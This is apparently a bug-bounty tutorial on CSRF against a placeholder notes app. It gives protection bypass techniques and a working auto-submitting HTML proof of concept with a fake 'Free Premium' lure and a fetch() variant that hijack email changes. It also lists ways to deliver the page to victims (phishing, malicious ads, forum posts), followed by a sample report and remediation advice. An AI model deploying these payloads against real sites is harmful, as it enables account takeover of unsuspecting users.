Let's imagine our target is a note-taking application: https://notes.example.com.
You browse the application and identify actions that change data on the server. These are typically non-GET requests (POST, PUT, PATCH, DELETE).
Prime candidates on notes.example.com:
- User Profile:
POST https://notes.example.com/email/change(Changes account email)POST https://notes.example.com/profile/update(Updates profile info)
- Note Management:
POST https://notes.example.com/notes/create(Creates a new note)POST https://notes.example.com/notes/delete(Deletes a note)POST https://notes.example.com/notes/update(Updates note content)
- Account Management:
POST https://notes.example.com/account/deactivate(Deactivates account)
Best Target for Demo: The email change functionality (/email/change). It's highly sensitive and clearly demonstrates impact.
Intercept the email change request using Burp Suite or browser developer tools. Let's examine what a typical request might look like:
Request without protection (VULNERABLE):
POST /email/change HTTP/1.1
Host: notes.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=cookie_value_here
[email protected]Now, look for these common protections:
-
CSRF Tokens: Check for a random value in the request
POST /email/change HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: session=cookie_value_here [email protected]&csrf_token=8a7d9f2b4c6e1a3b5d8f
- If this token is missing, it's likely vulnerable
- If present, note how it's validated
-
Custom Headers: Check for headers like:
X-Requested-With: XMLHttpRequest X-CSRF-Token: token_value Custom-Header: expected_value
- Browsers enforce Same-Origin Policy for custom headers
-
SameSite Cookie Attribute: Check the
Set-CookieheaderSameSite=StrictorSameSite=Lax→ Protected against most CSRFSameSite=Noneor missing → Vulnerable
-
Referer Header Validation: The server might check the
Refererheader
Result for our example: Let's say the email change endpoint has:
- No CSRF token
- No custom headers
- Session cookie without
SameSiteattribute - No
Referervalidation
This means it's likely vulnerable to CSRF!
If protections exist, try these bypass techniques:
-
CSRF Token Not Validated: Remove the token or submit an empty value
-
Token Tied to Session: If you can leak the token via XSS, you can use it
-
Referer Check Bypass:
- Use
metatag to refresh from an allowed domain - Use
data:URL orabout:blankframes - Exploit subdomains if validation is weak
- Use
-
SameSite=Lax Bypass: Use a GET request (if the action allows GET) or top-level navigation
-
Custom Header Bypass: Use a flash-based request (less common now) or find if the action can be triggered via GET
Create a malicious HTML page that automatically submits the request when loaded.
csrf-poc.html
<!DOCTYPE html>
<html>
<head>
<title>Free Premium Account!</title>
</head>
<body>
<h1>Claim Your Free Premium Upgrade!</h1>
<p>Please wait while we process your request...</p>
<!-- Hidden form that auto-submits -->
<form id="csrfForm" action="https://notes.example.com/email/change" method="POST">
<input type="hidden" name="new_email" value="[email protected]">
</form>
<script>
// Auto-submit the form on page load
document.getElementById('csrfForm').submit();
</script>
</body>
</html>Testing Process:
- Log into
notes.example.comin your browser with a test account - In the same browser, open the
csrf-poc.htmlfile - The form will automatically submit and change the email
- Verification: Go back to
notes.example.comand check the account email - it should now be[email protected]
Alternative using XMLHttpRequest (for more complex requests):
<script>
fetch('https://notes.example.com/email/change', {
method: 'POST',
credentials: 'include', // Sends cookies
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '[email protected]'
});
</script>- Phishing Campaign: Send emails with links to the malicious page
- Malicious Ads: Purchase ad space that redirects to your CSRF page
- XSS Chain: If the site has XSS, use it to execute the CSRF payload
- Forum Posts: Post "interesting content" that links to your page
- Comment Sections: Leave comments with your malicious link
Key Advantage: The victim doesn't need to enter any credentials - their existing session is hijacked.
Subject: Cross-Site Request Forgery (CSRF) in Email Change Functionality
Vulnerability Type: Cross-Site Request Forgery (CSRF)
Target: https://notes.example.com
Vulnerable Endpoint: POST https://notes.example.com/email/change
Severity: High (leads to account takeover)
Description:
The email change functionality at /email/change is vulnerable to Cross-Site Request Forgery attacks. The endpoint lacks CSRF protection mechanisms, allowing an attacker to force logged-in users to change their account email without consent.
Vulnerability Details: The endpoint is missing:
- CSRF tokens
- Custom header validation
- SameSite cookie attributes
- Referer header validation
Steps to Reproduce:
- Log into a
notes.example.comaccount in your browser - Note the current email address in account settings
- Open the attached HTML proof-of-concept file (
csrf-poc.html) in the same browser - The page will automatically submit a request to change the account email
- Return to
notes.example.comand check account settings - Observe that the email has been changed to
[email protected]
Proof of Concept:
[Attach your csrf-poc.html file. A video demonstration is also effective.]
Impact:
An attacker can craft a malicious webpage that, when visited by a logged-in notes.example.com user, will:
- Change the victim's email address to one controlled by the attacker
- Allow account takeover through password reset functionality
- Lead to complete compromise of the victim's account and data
Remediation Recommendations:
- Implement CSRF Tokens: Generate unique, unpredictable tokens for each session and validate them on state-changing requests
- Use SameSite Cookies: Set
SameSite=LaxorSameSite=Stricton session cookies - Implement Custom Headers: Require headers like
X-Requested-With: XMLHttpRequestfor AJAX requests - Referer Validation: Validate the
Refererheader matches expected origins (as secondary protection)
Additional Notes:
Other state-changing endpoints like /profile/update and /notes/delete should also be reviewed for similar vulnerabilities.
- Automate with Tools: Use Burp Suite's CSRF scanner or generate PoCs using Burp's "Engagement tools → Generate CSRF PoC"
- Check All Methods: Don't just test POST requests - some applications use PUT, PATCH, or even GET for state-changing actions
- Look for JSON Endpoints: Some modern apps use JSON APIs - test if they accept
application/x-www-form-urlencodedor have CORS misconfigurations - Chain with Other Bugs: CSRF becomes much more powerful when combined with XSS, open redirects, or login CSRF